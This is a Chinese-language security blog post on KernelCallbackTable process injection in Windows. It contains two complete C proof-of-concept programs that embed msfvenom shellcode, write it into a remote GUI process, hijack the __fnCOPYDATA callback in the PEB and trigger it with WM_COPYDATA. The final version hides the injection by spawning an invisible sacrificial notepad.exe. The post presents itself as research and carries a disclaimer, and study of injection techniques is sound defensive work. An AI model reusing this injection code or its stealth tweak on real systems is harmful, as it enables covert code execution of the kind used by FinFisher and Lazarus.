KernelCallbackTable 注入的冒险

admin 2025年5月9日00:10:37评论1 views字数 9231阅读30分46秒阅读模式
KernelCallbackTable 注入的冒险

最近,我发现了KernelCallbackTable一种可以被滥用来向远程进程注入shellcode的方法。FinFisher /FinSpy和Lazarus都使用过这种进程注入方法。

这篇文章介绍了我所经历的历程以及我KernelCallbackTable按照自己的意愿通过工作进行流程注入时遇到的障碍。

问题

当我在 Google 上搜索这项技术时,第一个搜索结果就是modexpblog的文章。因此,在本次实验中,我以他提供的代码为基础,并对其进行了少许修改。

#include<Windows.h>#include<stdio.h>#include"struct.h"intmain(){// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f cunsignedchar payload[] = "xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbdx9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x61x6cx63x00";  SIZE_T payloadSize = sizeof(payload);// Find a window for explorer.exe  HWND hWindow = FindWindow(L"Shell_TrayWnd"NULL);printf("[+] Window Handle: 0x%pn", hWindow);// Obtain the process pid and open it  DWORD pid;  GetWindowThreadProcessId(hWindow, &pid);printf("[+] Process ID: %dn", pid);  HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);printf("[+] Process Handle: 0x%pn", hProcess);// Read PEB and KernelCallBackTable addresses  PROCESS_BASIC_INFORMATION pbi;  pNtQueryInformationProcess myNtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess");  myNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);  PEB peb;  ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);printf("[+] PEB Address: 0x%pn", pbi.PebBaseAddress);  KERNELCALLBACKTABLE kct;  ReadProcessMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL);printf("[+] KernelCallbackTable Address: 0x%pn", peb.KernelCallbackTable);// Write the payload to remote process  LPVOID payloadAddr = VirtualAllocEx(hProcess, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);  WriteProcessMemory(hProcess, payloadAddr, payload, payloadSize, NULL);printf("[+] Payload Address: 0x%pn", payloadAddr);// 4. Write the new table to the remote process  LPVOID newKCTAddr = VirtualAllocEx(hProcess, NULLsizeof(kct), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);  kct.__fnCOPYDATA = (ULONG_PTR)payloadAddr;  WriteProcessMemory(hProcess, newKCTAddr, &kct, sizeof(kct), NULL);printf("[+] __fnCOPYDATA: 0x%pn", kct.__fnCOPYDATA);// Update the PEB  WriteProcessMemory(hProcess, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &newKCTAddr, sizeof(ULONG_PTR), NULL);printf("[+] Remote process PEB updatedn");// Trigger execution of payload  COPYDATASTRUCT cds;  WCHAR msg[] = L"Pwn";  cds.dwData = 1;  cds.cbData = lstrlen(msg) * 2;  cds.lpData = msg;  SendMessage(hWindow, WM_COPYDATA, (WPARAM)hWindow, (LPARAM)&cds);printf("[+] Payload executedn");// Restore original KernelCallbackTable  WriteProcessMemory(hProcess, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &peb.KernelCallbackTable, sizeof(ULONG_PTR), NULL);printf("[+] Original KernelCallbackTable restoredn");// Release memory for code and data  VirtualFreeEx(hProcess, payloadAddr, 0, MEM_DECOMMIT | MEM_RELEASE);  VirtualFreeEx(hProcess, newKCTAddr, 0, MEM_DECOMMIT | MEM_RELEASE);// Close handles  CloseHandle(hWindow);  CloseHandle(hProcess);printf("[+] Cleaned upn");}

上述 PoC 使用explorer.exe作为目标进程。具体方法是使用函数获取与 关联的FindWindow()窗口类 的句柄。当函数被调用时,有效载荷就开始执行。这是因为(指向有效载荷地址)在发送消息时会被触发。Shell_TrayWndexplorer.exeSendMessage()__fnCOPYDATAWM_COPYDATA

但是为什么explorer.exe当系统上有其他进程运行时呢?这是因为KernelCallbackTablePEB 中的 只有user32.dll在 GUI 进程使用的 加载到进程内存中时才会初始化。这意味着未加载的进程在 PEB 中user32.dll不会有字段。KernelCallbackTable

在我的实验中,PoC 不起作用,并且explorer.exe在更新目标进程的 PEB (通过执行以下代码行)后立即崩溃。崩溃后自动重启时,获取的窗口句柄现在无效;导致调用explorer.exe时有效载荷执行失败。SendMessage()

// Update the PEBWriteProcessMemory(hProcess, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &newKCTAddr, sizeof(ULONG_PTR), NULL);
KernelCallbackTable 注入的冒险

如果我们以其他 GUI 进程为目标会怎么样?我尝试获取窗口类的句柄Notepad (使用下面的代码),并notepad.exe在执行代码之前运行了它。

HWND hWindow = FindWindow(L"Notepad"NULL);

果然成功了!payload 执行了,但目标进程在调用 之后仍然崩溃了SendMessage()

KernelCallbackTable 注入的冒险

我发现这种方法的问题是:

您必须首先枚举系统中可用的窗口类。(这可以通过EnumWindows()函数来实现。)

无论如何,目标进程都会崩溃。(我尝试过针对不同的 GUI 进程和窗口类,但它们都崩溃了。不过在某些情况下,payload 会被执行,而在某些情况下则不会。)

用户可以看到崩溃。

其他人的解决方案

ORCA666找到了一种解决这个问题的方法,即不定位目标,explorer.exe而是加载user32.dll到内存中。然而,他的方法会加载user32.dll到当前进程的内存中,并且有效载荷会在本地执行,而不是注入到另一个进程中。如果您想了解他的方法,请访问他的KCTHIJACK代码库。

他的解决方案很棒,但这不是我想要做的;那就是在远程进程中注入有效载荷。

我的解决方案

既然远程进程崩溃是不可避免的,为什么不创建一个用户不可见的“牺牲”进程呢?这是我想到的解决方案,它完全符合我的预期。

第一次尝试:失败!

为了实现我的目标,我曾经CreateProcess()生成一个实例notepad.exe并设置进程创建标志dwFlags以CREATE_SUSPENDED使其“隐藏”。

CreateProcess(L"C:\Windows\System32\notepad.exe"NULLNULLNULLFALSE, CREATE_SUSPENDED, NULLNULL, &si, &pi);

嗯,这不起作用,因为暂停的进程中没有任何窗口。

KernelCallbackTable 注入的冒险

没有窗口意味着无法获取句柄,因此无法注入和执行有效载荷。

[+] Window Handle: 0x0000000000000000[+] Process ID: 0[+] Process Handle: 0x0000000000000000[+] PEB Address: 0x0000020C2A583CC0[+] KernelCallbackTable Address: 0x0000000000000000[+] Payload Address: 0x0000000000000000[+] __fnCOPYDATA: 0x0000000000000000[+] Remote process PEB updated[+] Payload executed[+] Original KernelCallbackTable restored[+] Cleaned up

第二次尝试:再次失败!

CREATE_SUSPENDED我没有使用标志来隐藏创建的进程,而是使用了结构的dwFlags和成员并将它们的值设置为以下内容:wShowWindowSTARTUPINFO

si.dwFlags = STARTF_USESHOWWINDOW;si.wShowWindow = SW_HIDE;
至于进程创建标志,我将其从 改为CREATE_SUSPENDED。CREATE_NEW_CONSOLE我得到了我想要的结果;该进程对用户不可见,并且它有一个窗口。但是,没有获取句柄,因此有效载荷的注入和执行仍然没有发生。

KernelCallbackTable 注入的冒险

第三次尝试:成功!

经过一番研究,我发现第二次尝试失败的原因是我没有给创建的进程足够的时间来初始化其输入。一个Sleep()函数可以解决这个问题(我试过了,确实有效)。但是,我不想等到传入的秒数过去Sleep()。所以我使用了WaitForInputIdle(),这样它只会等到进程完成初始化。

WaitForInputIdle(pi.hProcess, 1000);

这是我最终想到的代码。

#include<Windows.h>#include<stdio.h>#include"struct.h"intmain(){// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f cunsignedchar payload[] = "xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbdx9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x61x6cx63x00";  SIZE_T payloadSize = sizeof(payload);// Create a sacrifical process  PROCESS_INFORMATION pi;  STARTUPINFO si = { sizeof(STARTUPINFO) };  si.dwFlags = STARTF_USESHOWWINDOW;  si.wShowWindow = SW_HIDE;  CreateProcess(L"C:\Windows\System32\notepad.exe"NULLNULLNULL, FALSE, CREATE_NEW_CONSOLE, NULLNULL, &si, &pi);// Wait for process initialization  WaitForInputIdle(pi.hProcess, 1000);// Find a window for explorer.exe  HWND hWindow = FindWindow(L"Notepad"NULL);printf("[+] Window Handle: 0x%pn", hWindow);// Obtain the process pid and open it  DWORD pid;  GetWindowThreadProcessId(hWindow, &pid);printf("[+] Process ID: %dn", pid);  HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);printf("[+] Process Handle: 0x%pn", hProcess);// Read PEB and KernelCallBackTable addresses  PROCESS_BASIC_INFORMATION pbi;  pNtQueryInformationProcess myNtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess");  myNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);  PEB peb;  ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);printf("[+] PEB Address: 0x%pn", pbi.PebBaseAddress);  KERNELCALLBACKTABLE kct;  ReadProcessMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL);printf("[+] KernelCallbackTable Address: 0x%pn", peb.KernelCallbackTable);// Write the payload to remote process  LPVOID payloadAddr = VirtualAllocEx(hProcess, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);  WriteProcessMemory(hProcess, payloadAddr, payload, payloadSize, NULL);printf("[+] Payload Address: 0x%pn", payloadAddr);// 4. Write the new table to the remote process  LPVOID newKCTAddr = VirtualAllocEx(hProcess, NULLsizeof(kct), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);  kct.__fnCOPYDATA = (ULONG_PTR)payloadAddr;  WriteProcessMemory(hProcess, newKCTAddr, &kct, sizeof(kct), NULL);printf("[+] __fnCOPYDATA: 0x%pn", kct.__fnCOPYDATA);// Update the PEB  WriteProcessMemory(hProcess, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &newKCTAddr, sizeof(ULONG_PTR), NULL);printf("[+] Remote process PEB updatedn");// Trigger execution of payload  COPYDATASTRUCT cds;  WCHAR msg[] = L"Pwn";  cds.dwData = 1;  cds.cbData = lstrlen(msg) * 2;  cds.lpData = msg;  SendMessage(hWindow, WM_COPYDATA, (WPARAM)hWindow, (LPARAM)&cds);printf("[+] Payload executedn");}

注意:我已经删除了清理代码(比如恢复原始代码KernelCallbackTable),因为它们不再重要,因为目标进程已经崩溃并退出。

完整的项目可以在这里找到-https://github.com/capt-meelo/KernelCallbackTable-Injection。

下面是它的实际运行情况。

KernelCallbackTable 注入的冒险

结论

就是这样!这就是我修改基础 PoC 的方法,使KernelCallbackTable进程注入能够按照我的要求进行工作。

如果有人知道其他解决方案,例如使远程进程不崩溃,我很高兴听到这个消息。:)

原文始发于微信公众号(Ots安全):KernelCallbackTable 注入的冒险

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月9日00:10:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   KernelCallbackTable 注入的冒险https://cn-sec.com/archives/4043923.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息